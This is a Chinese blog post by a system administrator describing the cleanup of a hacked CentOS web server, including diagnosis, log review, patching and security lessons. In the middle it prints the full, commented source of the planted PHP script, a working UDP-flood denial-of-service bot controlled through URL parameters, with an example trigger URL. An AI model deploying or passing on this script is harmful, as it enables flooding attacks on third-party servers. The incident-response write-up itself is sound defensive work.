Centos服務器被掛馬的一次抓馬經歷

今天早上五點,收到監控寶的警告短信,說是網站M無法訪問了。睡的正香,再說網站所在系統是centos,重要數據每天都備份,應該很安全,也沒有在意。倒頭接着睡覺去了。

早上九點,機房負責人直接給我打來電話,說是全機房網絡巨慢,單位的所有網站都打不開或打開的很慢。Centos服務器被掛馬的一次抓馬經歷

我趕緊趕了過去,查看了一下那裏網絡,發現175服務總是以50M/S速度向外發包,而175服務器正是網站M所在的服務器。

果斷SSH連接175服務器,發現175服務器連接也很慢,連上之後top一下,查看cpu負載:

top

發現有兩個apache進程佔用cpu一直在40%以上,馬上停止httpd 服務

service httpd stop

停止httpd服務之後,再看網絡狀態,175服務器也不向外發包了,一切正常。

由此判斷應該是175服務器掛了馬,瘋狂向外發包,擠佔了全部機房帶寬。

下一步就是抓馬了!

175服務器是有硬件防火牆,只開http80跟ssh22端口,ssh不太可能被盜號,應該是通過web漏洞掛馬。早上5點才中招的,木馬程序文件應該在1天之內。

切到M站點根目錄之下,查找最近一天內變動的文件,執行

find ./ -mtime -1

果然,一個名爲phzLtoxn.php的可疑文件出現在目錄列表中。查看一下木馬程序的創建者,執行

ls -l  phzLtoxn.php

這裏發現文件就沒了,難道這文件還會自我銷燬?Centos服務器被掛馬的一次抓馬經歷

原來發生了一個小插曲,隔壁的管理員小黃也注意到這個文件,二話不說就刪除了。我過去劈頭批評教育了小黃一頓。見了木馬程序就知道刪刪刪刪!難道木馬程序不會再生成啊?你得順藤摸瓜,不是一刀切。你得找到漏洞源頭!刪了沒辦法,再把httpd服務開啓了,引狼入室,等等看能否再生成。

果然,半小時不到,新的phzLtoxn.php文件又生成了。查看了一下,文件創建者是apache,由此判斷這肯定是通過網站漏洞上傳的。

分析一下木馬文件,看下黑客意圖

這裏貼出phzLtoxn.php文件源代碼,並作了簡單註釋,僅作學習之用。

<?php
//設置腳本運行時間
set_time_limit(999999);
//攻擊目標服務器ip
$host = $_GET['host'];
//攻擊目標服務器端口
$port = $_GET['port'];
//攻擊時長
$exec_time = $_GET['time'];
//每次發送字節數
$Sendlen = 65535;
$packets = 0;
//設置客戶機斷開不終止腳本的執行
ignore_user_abort(TRUE);
//step1. 目標服務器$host、端口$port、運行時長$exec_time有效性
if (StrLen($host) == 0 or StrLen($port) == 0 or StrLen($exec_time) == 0) {
    if (StrLen($_GET['rat']) <> 0) {
        echo $_GET['rat'] . $_SERVER["HTTP_HOST"] . "|" . GetHostByName($_SERVER['SERVER_NAME']) . "|" . php_uname() . "|" . $_SERVER['SERVER_SOFTWARE'] . $_GET['rat'];
        exit;
    }
    echo "Warning to: opening";
    exit;
}
//step2. 設定發字符串$out,這裏是“AAAAAAAAAA...”
for ($i = 0; $i < $Sendlen; $i++) {
    $out .= "A";
}
$max_time = time() + $exec_time;
//step3. 進行攻擊,使用udp向目標服務器狠狠發串串
while (1) {
    $packets++;
    if (time() > $max_time) {
        break;
    }
    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
    if ($fp) {
        fwrite($fp, $out);
        fclose($fp);
    }
}
//step4. 攻擊統計
echo "Send Host $host:$port<br><br>";
echo "Send Flow $packets * ($Sendlen/1024=" . round($Sendlen / 1024, 2) . ")kb / 1024 = " . round($packets * $Sendlen / 1024 / 1024, 2) . " mb<br><br>";
echo "Send Rate " . round($packets / $exec_time, 2) . " packs/s" . round($packets / $exec_time * $Sendlen / 1024 / 1024, 2) . " mb/s";
?> 

從以上代碼可以看出,是個典型的ddos攻擊代碼。黑客應該是把我們服務器當傀儡使用,組織大量傀儡服務器瘋狂向目標服務器發包。黑客只需要打開瀏覽器,敲入http://M站域名.com//phzLtoxn.php?host=x.x.x.x&port=xx&time=xx就可以對目標服務器進行ddos攻擊了。

查看httpd日誌,分析下攻擊ip源,執行

tail /var/log/httpd/access.log | grep phzLtonxn.php
183.12.75.240 - - [10/Aug/2012:10:38:46 +0800] "GET /phzLtoxn.php?host=174.139.81.91&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"
110.185.121.167 - - [10/Aug/2012:10:38:56 +0800] "GET /phzLtoxn.php?host=218.93.248.98&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"
110.185.121.167 - - [10/Aug/2012:10:38:58 +0800] "GET /phzLtoxn.php?host=198.148.89.34&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"
110.185.121.167 - - [10/Aug/2012:10:39:08 +0800] "GET /phzLtoxn.php?host=199.119.207.133&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"
110.185.121.167 - - [10/Aug/2012:10:39:12 +0800] "GET /phzLtoxn.php?host=174.139.81.91&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"
118.161.219.152 - - [10/Aug/2012:10:39:27 +0800] "GET /phzLtoxn.php?host=198.148.89.34&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"
118.161.219.152 - - [10/Aug/2012:10:39:27 +0800] "GET /phzLtoxn.php?host=174.139.81.91&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"
118.161.219.152 - - [10/Aug/2012:10:39:27 +0800] "GET /phzLtoxn.php?host=199.119.207.133&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"
118.161.219.152 - - [10/Aug/2012:10:39:27 +0800] "GET /phzLtoxn.php?host=218.93.248.98&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"
118.161.219.152 - - [10/Aug/2012:10:39:28 +0800] "GET /phzLtoxn.php?host=61.164.148.49&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"

發現源ip來自多個,目標服務器ip也有多個,都屬於很多國家,有點奇怪啊,爲什麼黑客沒有針對性的攻擊呢,無聊的黑客啊。
 

下一步,找漏洞!

1、重新審視了M站目錄下文件權限。僅對幾個必要的緩存、靜態化的目錄爲apache開啓了寫權限,防止phzLtoxn.php文件再次生成。

2、重新開啓httpd服務,使用360網站檢測 http://webscan.360.cn/ 對H站進行漏洞檢測,發現M站中有嚴重的遠程執行漏洞,於是趕緊打了補丁。

3、補丁打好之後,順便修改了系統用戶、數據庫用戶、ftp用戶的密碼、M站系統用戶密碼。


觀察幾日之後,一切正常。


小結一下幾個安全原則

1、權限最小化。

web目錄一定做好權限,僅僅對apache開幾個必要文件夾的寫權限。

2、時刻注意補丁更新。

經常使用第三方的網站安全檢測工具,如http://webscan.360.cn,也可參考十大安全評估工具,如果網站系統使用了第三方常用程序,多注意一下烏雲漏洞平臺的信息http://www.wooyun.org/

3、中招後一定要補牢。

別光刪刪刪刪,要查找中招源頭,分析黑客目的。


這是還是請大牛小牛們分析一下,爲什麼這幫黑客用那麼多的肉雞來ddos攻擊不同的服務器,而這些被ddos攻擊的服務器之間卻沒有什麼聯繫。爲什麼攻擊沒有針對性?難道是爲了耗帶寬玩?!

********************************************

* 作者:葉文濤 (專注php開發、linux運維、系統架構)

* 鏈接:Centos服務器被掛馬的一次抓馬經歷

******************轉載請註明來源 ***************


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章